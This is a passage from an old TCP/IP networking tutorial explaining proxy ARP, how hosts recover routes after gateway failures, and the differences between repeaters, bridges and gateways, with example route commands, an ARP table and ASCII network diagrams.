problem. However there are several reasons why this is not +normally recommended except as a last resort. The most serious +problem is that this reintroduces configuration options that must be +kept up to date on each host. Any computer that wants to participate +in the protocol among the gateways will need to configure its software +compatibly with the gateways. Modern gateways often have +configuration options that are complex compared with those of an +individual host. It is undesirable to spread these to every host. + +There is a somewhat more specialized problem that applies only to +diskless computers. By its very nature, a diskless computer depends +upon the network and file servers to load programs and to do swapping. +It is dangerous for diskless computers to run any software that +listens to network broadcasts. Routing software generally depends +upon broadcasts. For example, each gateway on the network might +broadcast its routing tables every 30 seconds. The problem with +diskless nodes is that the software to listen to these broadcasts must +be loaded over the network. On a busy computer, programs that are not +used for a few seconds will be swapped or paged out. When they are +activated again, they must be swapped or paged in. Whenever a +broadcast is sent, every computer on the network needs to activate the +routing software in order to process the broadcast. This means that +many diskless computers will be doing swapping or paging at the same +time. This is likely to cause a temporary overload of the network. +Thus it is very unwise for diskless machines to run any software that +requires them to listen to broadcasts. + + + +4.4.2 Proxy ARP + + +Proxy ARP is an alternative technique for letting gateways make all +the routing decisions. It is applicable to any broadcast network that +uses ARP or a similar technique for mapping Internet addresses into +network-specific addresses such as Ethernet addresses. This +presentation will assume Ethernet. Other network types can be +acccomodated if you replace "Ethernet address" with the appropriate +network-specific address, and ARP with the protocol used for address +mapping by that network type. + +In many ways proxy ARP it is similar to using a default route and +redirects, however it uses a different mechanism to communicate routes +to the host. With redirects, a full routing table is used. At any +given moment, the host knows what gateways it is routing datagrams to. +With proxy ARP, you dispense with explicit routing tables, and do +everything at the level of Ethernet addresses. Proxy ARP can be used +for all destinations, only for destinations within your network, or in +various combinations. It will be simplest to explain it as used for +all addresses. To do this, you instruct the host to pretend that +every computer in the world is attached directly to your local +Ethernet. On Unix, this would be done using a command + + route add default 128.6.4.2 0 + 17 + + + +where 128.6.4.2 is assumed to be the Internet address of your host. +As explained above, the metric of 0 causes everything that matches +this route to be sent directly on the local Ethernet. + +When a datagram is to be sent to a local Ethernet destination, your +computer needs to know the Ethernet address of the destination. In +order to find that, it uses something generally called the ARP table. +This is simply a mapping from Internet address to Ethernet address. +Here's a typical ARP table. (On our system, it is displayed using the +command "arp -a".) + + FOKKER.RUTGERS.EDU (128.6.5.16) at 8:0:20:0:8:22 temporary + CROSBY.RUTGERS.EDU (128.6.5.48) at 2:60:8c:49:50:63 temporary + CAIP.RUTGERS.EDU (128.6.4.16) at 8:0:8b:0:1:6f temporary + DUDE.RUTGERS.EDU (128.6.20.16) at 2:7:1:0:eb:cd temporary + W20NS.MIT.EDU (18.70.0.160) at 2:7:1:0:eb:cd temporary + OBERON.USC.EDU (128.125.1.1) at 2:7:1:2:18:ee temporary + gatech.edu (128.61.1.1) at 2:7:1:0:eb:cd temporary + DARTAGNAN.RUTGERS.EDU (128.6.5.65) at 8:0:20:0:15:a9 temporary + +Note that it is simply a list of Internet addresses and the +corresponding Ethernet address. The "temporary" indicates that the +entry was added dynamically using ARP, rather than being put into the +table manually. + +If there is an entry for the address in the ARP table, the datagram is +simply put on the Ethernet with the corresponding Ethernet address. +If not, an "ARP request" is broadcast, asking for the destination host +to identify itself. This request is in effect a question "will the +host with Internet address 128.6.4.194 please tell me what your +Ethernet address is?". When a response comes back, it is added to the +ARP table, and future datagrams for that destination can be sent +without delay. + +This mechanism was originally designed only for use with hosts +attached directly to a single Ethernet. If you need to talk to a host +on a different Ethernet, it was assumed that your routing table would +direct you to a gateway. The gateway would of course have one +interface on your Ethernet. Your computer would then end up looking +up the address of that gateway using ARP. It would generally be +useless to expect ARP to work directly with a computer on a distant +network. Since it isn't on the same Ethernet, there's no Ethernet +address you can use to send datagrams to it. And when you send an ARP +request for it, there's nobody to answer the request. + +Proxy ARP is based on the concept that the gateways will act as +proxies for distant hosts. Suppose you have a host on network +128.6.5, with address 128.6.5.2. (computer A in diagram below) It +wants to send a datagram to host 128.6.4.194, which is on a different +Ethernet (subnet 128.6.4). (computer C in diagram below) There is a +gateway connecting the two subnets, with address 128.6.5.1 (gateway +R): + + + + 18 + + + + network 1 network 2 + 128.6.5 128.6.4 + ============================ ================== + | | | | | | + ___|______ _____|____ __|____|__ __|____|____ + 128.6.5.2 128.6.5.3 128.6.5.1 128.6.4.194 + 128.6.4.1 + __________ __________ __________ ____________ + computer A computer B gateway R computer C + + +Now suppose computer A sends an ARP request for computer C. C isn't +able to answer for itself. It's on a different network, and never +even sees the ARP request. However gateway R can act on its behalf. +In effect, your computer asks "will the host with Internet address +128.6.4.194 please tell me what your Ethernet address is?", and the +gateway says "here I am, 128.6.4.194 is 2:7:1:0:eb:cd", where +2:7:1:0:eb:cd is actually the Ethernet address of the gateway. This +bit of illusion works just fine. Your host now thinks that +128.6.4.194 is attached to the local Ethernet with address +2:7:1:0:eb:cd. Of course it isn't. But it works anyway. Whenever +there's a datagram to be sent to 128.6.4.194, your host sends it to +the specified Ethernet address. Since that's the address of a gateway +R, the gateway gets the packet. It then forwards it to the +destination. + +Note that the net effect is exactly the same as having an entry in the +routing table saying to route destination 128.6.4.194 to gateway +128.6.5.1: + + 128.6.4.194 128.6.5.1 UGH pe0 + +except that instead of having the routing done at the level of the +routing table, it is done at the level of the ARP table. + +Generally it's better to use the routing table. That's what it's +there for. However here are some cases where proxy ARP makes sense: + + - when you have a host that does not implement subnets + + - when you have a host that does not respond properly to redirects + + - when you do not want to have to choose a specific default gateway + + - when your software is unable to recover from a failed route + +The technique was first designed to handle hosts that do not support +subnets. Suppose that you have a subnetted network. For example, you +have chosen to break network 128.6 into subnets, so that 128.6.4 and +128.6.5 are separate. Suppose you have a computer that does not +understand subnets. It will assume that all of 128.6 is a single +network. Thus it will be difficult to establish routing table entries +to handle the configuration above. You can't tell it about the +gateway explicitly using "route add 128.6.4.0 128.6.5.1 1" Since it +thinks all of 128.6 is a single network, it can't understand that you + 19 + + + +are trying to tell it where to send one subnet. It will instead +interpret this command as an attempt to set up a host route to a host +who address is 128.6.4.0. The only thing that would work would be to +establish explicit host routes for every individual host on every +other subnet. You can't depend upon default gateways and redirects in +this situation either. Suppose you said "route add default 128.6.5.1 +1". This would establish the gateway 128.6.5.1 as a default. However +the system wouldn't use it to send packets to other subnets. Suppose +the host is 128.6.5.2, and wants to send a datagram to 128.6.4.194. +Since the destination is part of 128.6, your computer considers it to +be on the same network as itself, and doesn't bother to look for a +gateway. + +Proxy ARP solves this problem by making the world look the way the +defective implementation expects it to look. Since the host thinks +all other subnets are part of its own network, it will simply issue +ARP requests for them. It expects to get back an Ethernet address +that can be used to establish direct communications. If the gateway +is practicing proxy ARP, it will respond with the gateway's Ethernet +address. Thus datagrams are sent to the gateway, and everything +works. + +As you can see, no specific configuration is need to use proxy ARP +with a host that doesn't understand subnets. All you need is for your +gateways to implement proxy ARP. In order to use it for other +purposes, you must explicitly set up the routing table to cause ARP to +be used. By default, TCP/IP implementations will expect to find a +gateway for any destination that is on a different network. In order +to make them issue ARP's, you must explicitly install a route with +metric 0, as in the example "route add default 128.6.5.2 0". + +It is obvious that proxy ARP is reasonable in situations where you +have hosts that don't understand subnets. Some comments may be needed +on the other situations. Generally TCP/IP implementations do handle +ICMP redirects properly. Thus it is normally practical to set up a +default route to some gateway, and depend upon the gateway to issue +redirects for destinations that should use a different gateway. +However in case you ever run into an implementation that does not obey +redirects, or cannot be configured to have a default gateway, you may +be able to make things work by depending upon proxy ARP. Of course +this requires that you be able to configure the host to issue ARP's +for all destinations. You will need to read the documentation +carefully to see exactly what routing features your implementation +has. + +Sometimes you may choose to depend upon proxy ARP for convenience. +The problem with routing tables is that you have to configure them. +The simplest configuration is simply to establish a default route, but +even there you have to supply some equivalent to the Unix command +"route add default ...". Should you change the addresses of your +gateways, you have to modify this command on all of your hosts, so +that they point to the new default gateway. If you set up a default +route that depends upon proxy ARP (i.e. has metric 0), you won't have +to change your configuration files when gateways change. With proxy +ARP, no gateway addresses are given explicitly. Any gateway can + 20 + + + +respond to the ARP request, no matter what its address. + +In order to save you from having to do configuration, some TCP/IP +implementations default to using ARP when they have no other route. +The most flexible implementations allow you to mix strategies. That +is, if you have specified a route for a particular network, or a +default route, they will use that route. But if there is no route for +a destination, they will treat it as local, and issue an ARP request. +As long as your gateways support proxy ARP, this allows such hosts to +reach any destination without any need for routing tables. + +Finally, you may choose to use proxy ARP because it provides better +recovery from failure. This choice is very much dependent upon your +implementation. The next section will discuss the tradeoffs in more +detail. + +In situations where there are several gateways attached to your +network, you may wonder how proxy ARP allows you to choose the best +one. As described above, your computer simply sends a broadcast +asking for the Ethernet address for a destination. We assumed that +the gateways would be set up to respond to this broadcast. If there +is more than one gateway, this requires coordination among them. +Ideally, the gateways will have a complete picture of the network +topology. Thus they are able to determine the best route from your +host to any destination. If the gateway coordinate among themselves, +it should be possible for the best gateway to respond to your ARP +request. In practice, it may not always be possible for this to +happen. It is fairly easy to design algorithms to prevent very bad +routes. For example, consider the following situation: + + 1 2 3 + ------- A ---------- B ---------- + +1, 2, and 3 are networks. A and B are gateways, connecting network 2 +to 1 or 3. If a host on network 2 wants to talk to a host on network +1, it is fairly easy for gateway A to decide to answer, and for +gateway B to decide not to. Here's how: if gateway B accepted a +datagram for network 1, it would have to forward it to gateway A for +delivery. This would mean that it would take a packet from network 2 +and send it right back out on network 2. It is very easy to test for +routes that involve this sort of circularity. It is much harder to +deal with a situation such as the following: + + 1 + --------------- + A B + | | 4 + | | + 3 | C + | | + | | 5 + D E + --------------- + 2 + + 21 + + + +Suppose a computer on network 1 wants to send a datagram to one on +network 2. The route via A and D is probably better, because it goes +through only one intermediate network (3). It is also possible to go +via B, C, and E, but that path is probably slightly slower. Now +suppose the computer on network 1 sends an ARP request for a +destination on 2. It is likely that A and B will both respond to that +request. B is not quite as good a route as A. However it is not so +bad as the case above. B won't have to send the datagram right back +out onto network 1. It is unable to determine there is a better +alternative route without doing a significant amount of global +analysis on the network. This may not be practical in the amount of +time available to process an ARP request. + + + +4.4.3 Moving to New Routes After Failures + + +In principle, TCP/IP routing is capable of handling line failures and +gateway crashes. There are various mechanisms to adjust routing +tables and ARP tables to keep them up to date. Unfortunately, many +major implementations of TCP/IP have not implemented all of these +mechanisms. The net result is that you have to look carefully at the +documentation for your implementation, and consider what kinds of +failures are most likely. You then have to choose a strategy that +will work best for your site. The basic choices for finding routes +have all been listed above: spying on the gateways' routing protocol, +setting up a default route and depending upon redirects, and using +proxy ARP. These methods all have their own limitations in dealing +with a changing network. + +Spying on the gateways' routing protocol is theoretically the cleanest +solution. Assuming that the gateways use good routing technology, the +tables that they broadcast contain enough information to maintain +optimal routes to all destinations. Should something in the network +change (a line or a gateway goes down), this information will be +reflected in the tables, and the routing software will be able to +update the hosts' routing tables appropriately. The disadvantages are +entirely practical. However in some situations the robustness of this +approach may outweight the disadvantages. To summarize the discussion +above, the disadvantages are: + + - If the gateways are using sophisticated routing protocols, + configuration may be fairly complex. Thus you will be faced with + setting up and maintaining configuration files on every host. + + - Some gateways use proprietary routing protocols. In this case, + you may not be able to find software for your hosts that + understands them. + + - If your hosts are diskless, there can be very serious performance + problems associated with listening to routing broadcasts. + +Some gateways may be able to convert from their internal routing +protocol to a simpler one for use by your hosts. This could largely + 22 + + + +bypass the first two disadvantages. Currently there is no known way +to get around the third one. + +The problems with default routes/redirects and with proxy ARP are +similar: they both have trouble dealing with situations where their +table entries no longer apply. The only real difference is that +different tables are involved. Suppose a gateway goes down. If any +of your current routes are using that gateway, you may be in trouble. +If you are depending upon the routing table, the major mechanism for +adjusting routes is the redirect. This works fine in two situations: + + - where the default gateway is not the best route. The default + gateway can direct you to a better gateway + + - where a distant line or gateway fails. If this changes the best + route, the current gateway can redirect you to the gateway that + is now best + +The case it does not protect you against is where the gateway that you +are currently sending your datagrams to crashes. Since it is down, it +is unable to redirect you to another gateway. In many cases, you are +also unprotected if your default gateway goes down, since there +routing starts by sending to the default gateway. + +The situation with proxy ARP is similar. If the gateways coordinate +themselves properly, the right one will respond initially. If +something elsewhere in the network changes, the gateway you are +currently issuing can issue a redirect to a new gateway that is +better. (It is usually possible to use redirects to override routes +established by proxy ARP.) Again, the case you are not protected +against is where the gateway you are currently using crashes. There +is no equivalent to failure of a default gateway, since any gateway +can respond to the ARP request. + +So the big problem is that failure of a gateway you are using is hard +to recover from. It's hard because the main mechanism for changing +routes is the redirect, and a gateway that is down can't issue +redirects. Ideally, this problem should be handled by your TCP/IP +implementation, using timeouts. If a computer stops getting response, +it should cancel the existing route, and try to establish a new one. +Where you are using a default route, this means that the TCP/IP +implementation must be able to declare a route as down based on a +timeout. If you have been redirected to a non-default gateway, and +that route is declared down, traffic will return to the default. The +default gateway can then begin handling the traffic, or redirect it to +a different gateway. To handle failure of a default gateway, it +should be possible to have more than one default. If one is declared +down, another will be used. Together, these mechanisms should take +care of any failure. + +Similar mechanisms can be used by systems that depend upon proxy ARP. +If a connection is timing out, the ARP table entry that it uses should +be cleared. This will cause a new ARP request, which can be handled +by a gateway that is still up. A simpler mechanism would simply be to +time out all ARP entries after some period. Since making a new ARP + 23 + + + +request has a very low overhead, there's no problem with removing an +ARP entry even if it is still good. The next time a datagram is to be +sent, a new request will be made. The response is normally fast +enough that users will not even notice the delay. + +Unfortunately, many common implementations do not use these +strategies. In Berkeley 4.2, there is no automatic way of getting rid +of any kind of entry, either routing or ARP. They do not invalidate +routes on timeout nor ARP entries. ARP entries last forever. If +gateway crashes are a significant problem, there may be no choice but +to run software that listens to the routing protocol. In Berkeley +4.3, routing entries are removed when TCP connections are failing. +ARP entries are still not removed. This makes the default route +strategy more attractive for 4.3 than proxy ARP. Having more than one +default route may also allow for recovery from failure of a default +gateway. Note however that 4.3 only handles timeout for connections +using TCP. If a route is being used only by services based on UDP, it +will not recover from gateway failure. While the "traditional" TCP/IP +services use TCP, network file systems generally do not. Thus +4.3-based systems still may not always be able to recover from +failure. + +In general, you should examine your implementation in detail to +determine what sort of error recovery strategy it uses. We hope that +the discussion in this section will then help you choose the best way +of dealing with routing. + +There is one more strategy that some older implementations use. It is +strongly discouraged, but we mention it here so you can recognize it +if you see it. Some implementations detect gateway failure by taking +active measure to see what gateways are up. The best version of this +is based on a list of all gateways that are currently in use. (This +can be determined from the routing table.) Every minute or so, an +echo request datagram is sent to each such gateway. If a gateway +stops responding to echo requests, it is declared down, and all routes +using it revert to the default. With such an implementation, you +normally supply more than one default gateway. If the current default +stops responding, an alternate is chosen. In some cases, it is not +even necessary to choose an explicit default gateway. The software +will randomly choose any gateway that is responding. This +implementation is very flexible and recovers well from failures. +However a large network full of such implementations will waste a lot +of bandwidth on the echo datagrams that are used to test whether +gateways are up. This is the reason that this strategy is +discouraged. + + + +5. Bridges and Gateways + + +This section will deal in more detail with the technology used to +construct larger networks. It will focus particularly on how to +connect together multiple Ethernets, token rings, etc. These days +most networks are hierarchical. Individual hosts attach to local-area + 24 + + + +networks such as Ethernet or token ring. Then those local networks +are connected via some combination of backbone networks and point to +point links. A university might have a network that looks in part +like this: + + ________________________________ + | net 1 net 2 net 3 | net 4 net 5 + | ---------X---------X-------- | -------- -------- + | | | | | + | Building A | | | | + | ----------X--------------X-----------------X + | | campus backbone network : + |______________________________| : + serial : + line : + -------X----- + net 6 + +Nets 1, 2 and 3 are in one building. Nets 4 and 5 are in different +buildings on the same campus. Net 6 is in a somewhat more distant +location. The diagram above shows nets 1, 2, and 3 being connected +directly, with switches that handle the connections being labelled as +"X". Building A is connected to the other buildings on the same +campus by a backbone network. Note that traffic from net 1 to net 5 +takes the following path: + + - from 1 to 2 via the direct connection between those networks + + - from 2 to 3 via another direct connection + + - from 3 to the backbone network + + - across the backbone network from building A to the building in + which net 5 is housed + + - from the backbone network to net 5 + +Traffic for net 6 would additionally pass over a serial line. With +the setup as shown, the same switch is being used to connect the +backbone network to net 5 and to the serial line. Thus traffic from +net 5 to net 6 would not need to go through the backbone, since there +is a direct connection from net 5 to the serial line. + +This section is largely about what goes in those "X"'s. + + + +5.1 Alternative Designs + + +Note that there are alternatives to the sort of design shown above. +One is to use point to point lines or switched lines directly to each +host. Another is to use a single-level of network technology that is +capable of handling both local and long-haul networking. + + 25 + + + +5.1.1 A mesh of point to point lines + + +Rather than connecting hosts to a local network such as Ethernet, and +then interconnecting the Ethernets, it is possible to connect +long-haul serial lines directly to the individual computers. If your +network consists primarily of individual computers at distant +locations, this might make sense. Here would be a small design of +that type. + + computer 1 computer 2 computer 3 + | | | + | | | + | | | + computer 4 -------------- computer 5 ----------- computer 6 + +In the design shown earlier, the task of routing datagrams around the +network is handled by special-purpose switching units shown as "X"'s. +If you run lines directly between pairs of hosts, your hosts will be +doing this sort of routing and switching, as well as their normal +computing. Unless you run lines directly between every pair of +computers, some systems will end up handling traffic for others. For +example, in this design, traffic from 1 to 3 will go through 4, 5 and +6. This is certainly possible, since most TCP/IP implementations are +capable of forwarding datagrams. If your network is of this type, you +should think of your hosts as also acting as gateways. Much of the +discussion below on configuring gateways will apply to the routing +software that you run on your hosts. This sort of configuration is +not as common as it used to be, for two reasons: + + - Most large networks have more than one computer per location. In + this case it is less expensive to set up a local network at each + location than to run point to point lines to each computer. + + - Special-purpose switching units have become less expensive. It + often makes sense to offload the routing and communications tasks + to a switch rather than handling it on the hosts. + +It is of course possible to have a network that mixes the two kinds of +techology. In this case, locations with more equipment would be +handled by a hierarchical system, with local-area networks connected +by switches. Remote locations with a single computer would be handled +by point to point lines going directly to those computers. In this +case the routing software used on the remote computers would have to +be compatible with that used by the switches, or there would need to +be a gateway between the two parts of the network. + +Design decisions of this type are typically made after an assessment +of the level of network traffic, the complexity of the network, the +quality of routing software available for the hosts, and the ability +of the hosts to handle extra network traffic. + + + + + 26 + + + +5.1.2 Circuit switching technology + + +Another alternative to the hierarchical LAN/backbone approach is to +use circuit switches connected to each individual computer. This is +really a variant of the point to point line technique, where the +circuit switch allows each system to have what amounts to a direct +line to every other system. This technology is not widely used within +the TCP/IP community, largely because the TCP/IP protocols assume that +the lowest level handles isolated datagrams. When a continuous +connection is needed, higher network layers maintain it using +datagrams. This datagram-oriented technology does not match a +circuit-oriented environment very closely. In order to use circuit +switching technology, the IP software must be modified to be able to +build and tear down virtual circuits as appropriate. When there is a +datagram for a given destination, a virtual circuit must be opened to +it. The virtual circuit would be closed when there has been no +traffic to that destination for some time. The major use of this +technology is for the DDN (Defense Data Network). The primary +interface to the DDN is based on X.25. This network appears to the +outside as a distributed X.25 network. TCP/IP software intended for +use with the DDN must do precisely the virtual circuit management just +described. Similar techniques could be used with other +circuit-switching technologies, e.g. ATT's DataKit, although there is +almost no software currently available to support this. + + + +5.1.3 Single-level networks + + +In some cases new developments in wide-area networks can eliminate the +need for hierarchical networks. Early hierarchical networks were set +up because the only convenient network technology was Ethernet or +other LAN's, and those could not span distances large enough to cover +an entire campus. Thus it was necessary to use serial lines to +connect LAN's in various locations. It is now possible to find +network technology whose characteristics are similar to Ethernet, but +where a single network can span a campus. Thus it is possible to +think of using a single large network, with no hierarchical structure. + +The primary limitations of a large single-level network are +performance and reliability considerations. If a single network is +used for the entire campus, it is very easy to overload it. +Hierarchical networks can handle a larger traffic volume than +single-level networks if traffic patterns have a reasonable amount of +locality. That is, in many applications, traffic within an individual +department tends to be greater than traffic among departments. + +Let's look at a concrete example. Suppose there are 10 departments, +each of which generate 1 Mbit/sec of traffic. Suppose futher than 90% +of that traffic is to other systems within the department, and only +10% is to other departments. If each department has its own network, +that network only needs to handle 1 Mbit/sec. The backbone network +connecting the department also only needs 1 Mbit/sec capacity, since + 27 + + + +it is handling 10% of 1 Mbit from each department. In order to handle +this situation with a single wide-area network, that network would +have to be able to handle the simultaneous load from all 10 +departments, which would be 10 Mbit/sec. + +The second limitation on single-level networks is reliability, +maintainability and security. Wide-area networks are more difficult +to diagnose and maintain than local-area networks, because problems +can be introduced from any building to which the network is connected. +They also make traffic visible in all locations. For these reasons, +it is often sensible to handle local traffic locally, and use the +wide-area network only for traffic that actually must go between +buildings. However if you have a situation where each location has +only one or two computers, it may not make sense to set up a local +network at each location, and a single-level network may make sense. + + + +5.1.4 Mixed designs + + +In practice, few large networks have the luxury of adopting a +theoretically pure design. + +It is very unlikely that any large network will be able to avoid using +a hierarchical design. Suppose we set out to use a single-level +network. Even if most buildings have only one or two computers, there +will be some location where there are enough that a local-area network +is justified. The result is a mixture of a single-level network and a +hierachical network. Most buildings have their computers connected +directly to the wide-area network, as with a single-level network. +However in one building there is a local-area network which uses the +wide-area network as a backbone, connecting to it via a switching +unit. + +On the other side of the story, even network designers with a strong +commitment to hierarchical networks are likely to find some parts of +the network where it simply doesn't make economic sense to install a +local-area network. So a host is put directly onto the backbone +network, or tied directly to a serial line. + +However you should think carefully before making ad hoc departures +from your design philosophy in order to save a few dollars. In the +long run, network maintainability is going to depend upon your ability +to make sense of what is going on in the network. The more consistent +your technology is, the more likely you are to be able to maintain the +network. + + + + + + + + + 28 + + + +5.2 An introduction to alternative switching technologies + + +This section will discuss the characteristics of various technologies +used to switch datagrams between networks. In effect, we are trying +to fill in some details about the black boxes assumed in previous +sections. There are three basic types of switches, generally referred +to as repeaters, bridges, and gateways, or alternatively as level 1, 2 +and 3 switches (based on the level of the ISO model at which they +operate). Note however that there are systems that combine features +of more than one of these, particularly bridges and gateways. + +The most important dimensions on which switches vary are isolation, +performance, routing and network management facilities. These will be +discussed below. + +The most serious difference is between repeaters and the other two +types of switch. Until recently, gateways provided very different +services from bridges. However these two technologies are now coming +closer together. Gateways are beginning to adopt the special-purpose +hardware that has characterized bridges in the past. Bridges are +beginning to adopt more sophisticated routing, isolation features, and +network management, which have characterized gateways in the past. +There are also systems that can function as both bridge and gateway. +This means that at the moment, the crucial decision may not be to +decide whether to use a bridge or a gateway, but to decide what +features you want in a switch and how it fits into your overall +network design. + + + +5.2.1 Repeaters + + +A repeater is a piece of equipment that connects two networks that use +the same technology. It receives every data packet on each network, +and retransmits it onto the other network. The net result is that the +two networks have exactly the same set of packets on them. For +Ethernet or IEEE 802.3 networks there are actually two different kinds +of repeater. (Other network technologies may not need to make this +distinction.) + +A simple repeater operates at a very low level indeed. Its primary +purpose is to get around limitations in cable length caused by signal +loss or timing dispersion. It allows you to construct somewhat larger +networks than you would otherwise be able to construct. It can be +thought of as simply a two-way amplifier. It passes on individual +bits in the signal, without doing any processing at the packet level. +It even passes on collisions. That is, if a collision is generated on +one of the networks connected to it, the repeater generates a +collision on the other network. There is a limit to the number of +repeaters that you can use in a network. The basic Ethernet design +requires that signals must be able to get from one end of the network +to the other within a specified amount of time. This determines a +maximum allowable length. Putting repeaters in the path does not get + 29 + + + +around this limit. (Indeed each repeater adds some delay, so in some +ways a repeater makes things worse.) Thus the Ethernet configuration +rules limit the number of repeaters that can be in any path. + +A "buffered repeater" operates at the level of whole data packets. +Rather than passing on signals a bit at a time, it receives an entire +packet from one network into an internal buffer and then retransmits +it onto the other network. It does not pass on collisions. Because +such low-level features as collisions are not repeated, the two +networks continue to be separate as far as the Ethernet specifications +are concerned. Thus there are no restrictions on the number of +buffered repeaters that can be used. Indeed there is no requirement +that both of the networks be of the same type. However the two +networks must be sufficiently similar that they have the same packet +format. Generally this means that buffered repeaters can be used +between two networks of the IEEE 802.x family (assuming that they have +chosen the same address length), or two networks of some other related +family. A pair of buffered repeaters can be used to connect two +networks via a serial line. + +Buffered repeaters share with simple repeaters the most basic feature: +they repeat every data packet that they receive from one network onto +the other. Thus the two networks end up with exactly the same set of +packets on them. + + + +5.2.2 Bridges and gateways + + +A bridge differs from a buffered repeater primarily in the fact that +it exercizes some selectivity as to what packets it forwards between +networks. Generally the goal is to increase the capacity of the +system by keeping local traffic confined to the network on which it +originates. Only traffic intended for the other network (or some +other network accessed through it) goes through the bridge. So far +this description would also apply to a gateway. Bridges and gateways +differ in the way they determine what packets to forward. A bridge +uses only the ISO level 2 address. In the case of Ethernet or IEEE +802.x networks, this is the 6-byte Ethernet or MAC-level address. (The +term MAC-level address is more general. However for the sake of +concreteness, examples in this section will assume that Ethernet is +being used. You may generally replace the term "Ethernet address" +with the equivalent MAC-level address for other similar technologies.) +A bridge does not examine the packet itself, so it does not use the IP +address or its equivalent for routing decisions. In contrast, a +gateway bases its decisions on the IP address, or its equivalent for +other protocols. + +There are several reasons why it matters which kind of address is used +for decisions. The most basic is that it affects the relationship +between the switch and the upper layers of the protocol. If +forwarding is done at the level of the MAC-level address (bridge), the +switch will be invisible to the protocols. If it is done at the IP +level, the switch will be visible. Let's give an example. Here are + 30 + + + +two networks connected by a bridge: + + network 1 network 2 + 128.6.5 128.6.4 + ================== ================================ + | | | | | + ___|______ __|______|__ _______|___ _______|___ + 128.6.5.2 bridge 128.6.4.3 128.6.4.4 + __________ ____________ ___________ ___________ + computer A computer B computer C + + +Note that the bridge does not have an IP address. As far as computers +A, B, and C are concerned, there is a single Ethernet (or other +network) to which they are all attached. This means that the routing +tables must be set up so that computers on both networks treat both +networks as local. When computer A opens a connection to computer B, +it first broadcasts an ARP request asking for computer B's Ethernet +address. The bridge must pass this broadcast from network 1 to +network 2. (In general, bridges must pass all broadcasts.) Once the +two computers know each other's Ethernet addresses, communications use +the Ethernet address as the destination. At that point, the bridge +can start exerting some selectivity. It will only pass packets whose +Ethernet destination address is for a machine on the other network. +Thus a packet from B to A will be passed from network 2 to 1, but a +packet from B to C will be ignored. + +In order to make this selection, the bridge needs to know which +network each machine is on. Most modern bridges build up a table for +each network, listing the Ethernet addresses of machines known to be +on that network. They do this by watching all of the packets on both +networks. When a packet first appears on network 1, it is reasonable +to conclude that the Ethernet source address corresponds to a machine +on network 1. + +Note that a bridge must look at every packet on the Ethernet, for two +different reasons. First, it may use the source address to learn +which machines are on which network. Second, it must look at the +destination address in order to decide whether it needs to forward the +packet to the other network. + +As mentioned above, generally bridges must pass broadcasts from one +network to the other. Broadcasts are often used to locate a resource. +The ARP request is a typical example of this. Since the bridge has no +way of knowing what host is going to answer the broadcast, it must +pass it on to the other network. Some newer bridges have +user-selectable filters. With them, it is possible to block some +broadcasts and allow others. You might allow ARP broadcasts (which +are essential for IP to function), but confine less essential +broadcasts to one network. For example, you might choose not to pass +rwhod broadcasts, which some systems use to keep track of every user +logged into every other system. You might decide that it is +sufficient for rwhod to know about the systems on a single segment of +the network. + + 31 + + + +Now let's take a look at two networks connected by a gateway + + network 1 network 2 + 128.6.5 128.6.4 + ==================== ================================== + | | | | | + ___|______ ____|__________|____ _______|___ _______|___ + 128.6.5.2 128.6.5.1 128.6.4.1 128.6.4.3 128.6.4.4 + __________ ____________________ ___________ ___________ + computer A gateway computer B computer C + + +Note that the gateway has IP addresses assigned to each interface. +The computers' routing tables are set up to forward through +appropriate address. For example, computer A has a routing entry +saying that it should use the gateway 128.6.5.1 to get to subnet +128.6.4. + +Because the computers know about the gateway, the gateway does not +need to scan all the packets on the Ethernet. The computers will send +packets to it when appropriate. For example, suppose computer A needs +to send a message to computer B. Its routing table will tell it to use +gateway 128.6.5.1. It will issue an ARP request for that address. +The gateway will respond to the ARP request, just as any host would. +From then on, packets destinated for B will be sent with the gateway's +Ethernet address. + + + +5.2.3 More about bridges + + +There are several advantages to using the Mac-level address, as a +bridge does. First, every packet on an Ethernet or IEEE network has +such an address. The address is in the same place for every packet, +whether it is IP, DECnet, or some other protocol. Thus it is +relatively fast to get the address from the packet. A gateway must +decode the entire IP header, and if it is to support protocols other +than IP, it must have software for each such protocol. This means +that a bridge automatically supports every possible protocol, whereas +a gateway requires specific provisions for each protocol it is to +support. + +However there are also disadvantages. The one that is intrinsic to +the design of a bridge is + + - A bridge must look at every packet on the network, not just those + addressed to it. Thus it is possible to overload a bridge by + putting it on a very busy network, even if very little traffic is + actually going through the bridge. + +However there are another set of disadvantages that are based on the +way bridges are usually built. It is possible in principle to design +bridges that do not have these disadvantages, but I don't know of any +plans to do so. They all stem from the fact that bridges do not have + 32 + + + +a complete routing table that describes the entire system of networks. +They simply have a list of the Ethernet addresses that lie on each of +its two networks. This means + + - A bridge can handle only two network interfaces. At a central + site, where many networks converge, this normally means that you + set up a backbone network to which all the bridges connect, and + then buy a separate bridge to connect each other network to that + backbone. Gateways often have between 4 and 8 interfaces. + + - Networks that use bridges cannot have loops in them. If there + were a loop, some bridges would see traffic from the same + Ethernet address coming from both directions, and would be unable + to decide which table to put that address in. Note that any + parallel paths to the same direction constitute a loop. This + means that multiple paths cannot be used for purposes of + splitting the load or providing redundancy. + +There are some ways of getting around the problem of loops. Many +bridges allow configurations with redundant connections, but turn off +links until there are no loops left. Should a link fail, one of the +disabled ones is then brought back into service. Thus redundant links +can still buy you extra reliability. But they can't be used to +provide extra capacity. It is also possible to build a bridge that +will make use of parallel point to point lines, in the one special +case where those lines go between a single pair of bridges. The +bridges would treat the two lines as a single virtual line, and use +them alternately in round-robin fashion. + +The process of disabling redundant connections until there are no +loops left is called a "spanning tree algorithm". This name comes +from the fact that a tree is defined as a pattern of connections with +no loops. Thus one wants to disable connections until the connections +that are left form a tree that "spans" (includes) all of the networks +in the system. In order to do this, all of the bridges in a network +system must communicate among themselves. There is an IEEE proposal +to standardize the protocol for doing this, and for constructing the +spanning tree. + +Note that there is a tendency for the resulting spanning tree to +result in high network loads on certain parts of the system. The +networks near the "top of the tree" handle all traffic between distant +parts of the network. In a network that uses gateways, it would be +possible to put in an extra link between parts of the network that +have heavy traffic between them. However such extra links cannot be +used by a set of bridges. + + + + + + + + + + 33 + + + +5.2.4 More about gateways + + +Gateways have their own advantages and disadvantages. In general a +gateway is more complex to design and to administer than a bridge. A +gateway must participate in all of the protocols that it is designed +to forward. For example, an IP gateway must respond to ARP requests. +The IP standards also require it to completely process the IP header, +decrementing the time to live field and obeying any IP options. + +Gateways are designed to handle more complex network topologies than +bridges. As such, they have a different (and more complex) set of +decisions to make. In general a bridge has only a binary decision to +make: does it or does it not pass a given packet from one 